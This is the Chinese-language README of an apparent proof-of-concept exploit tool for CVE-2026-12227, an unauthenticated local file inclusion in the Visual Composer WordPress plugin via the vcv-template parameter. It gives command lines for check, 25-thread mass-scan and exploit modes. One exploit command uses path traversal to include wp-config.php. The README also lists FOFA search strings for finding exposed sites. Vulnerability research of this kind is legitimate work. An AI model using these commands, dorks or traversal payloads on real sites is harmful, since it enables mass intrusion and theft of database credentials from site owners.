CVE-2026-12227 — Visual Composer Website Builder 未认证 LFI
针对 CVE-2026-12227(Wordfence)的 Python 3 PoC:通过 Visual Composer Website Builder(wordpress.org 上的 visualcomposer)中的 vcv-template 查询参数实现本地文件包含。
概述
在存在漏洞的版本中,公开页面加载会在 WordPress template_include 处理期间,于 PageTemplatesController 内遵循攻击者可控的 vcv-template(配合 vcv-template-type)。这可以包含磁盘上攻击者选定的文件;PHP 文件可能被执行(RCE)。Wordfence 指出在某些环境中可与上传的“安全”扩展名形成利用链。
攻击面
- 需要已安装插件,并且有一个使用 VC 构建的前端页面(正常永久链接)。
- 探测会添加查询参数,例如
?vcv-template-type=vc&vcv-template=blank 或 vcv-template 下的 LFI 路径。
- 相关参数:
vcv-template-type、vcv-template-stretched。
环境要求
pip install -r requirements.txt
Python 3.8+。
使用方法
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
输出
| 文件 | 含义 |
|---|
cve_2026_12227_results.jsonl | 每个目标的完整 JSON |
hits.txt |
状态值
FOFA 提示
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
技术说明
- 代码路径:
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php(getCurrentTemplateLayout、viewPageTemplate)。
- Check 将参数可控或 LFI 标记视为
exploitable_candidate;在假定存在 RCE 之前,请在预发布克隆环境中确认。
- 高级 TemplateFilter / 主题构建器附加组件可能会在某些站点上扩大可达路径。
法律声明
仅可在您拥有或获得明确测试许可的系统上使用。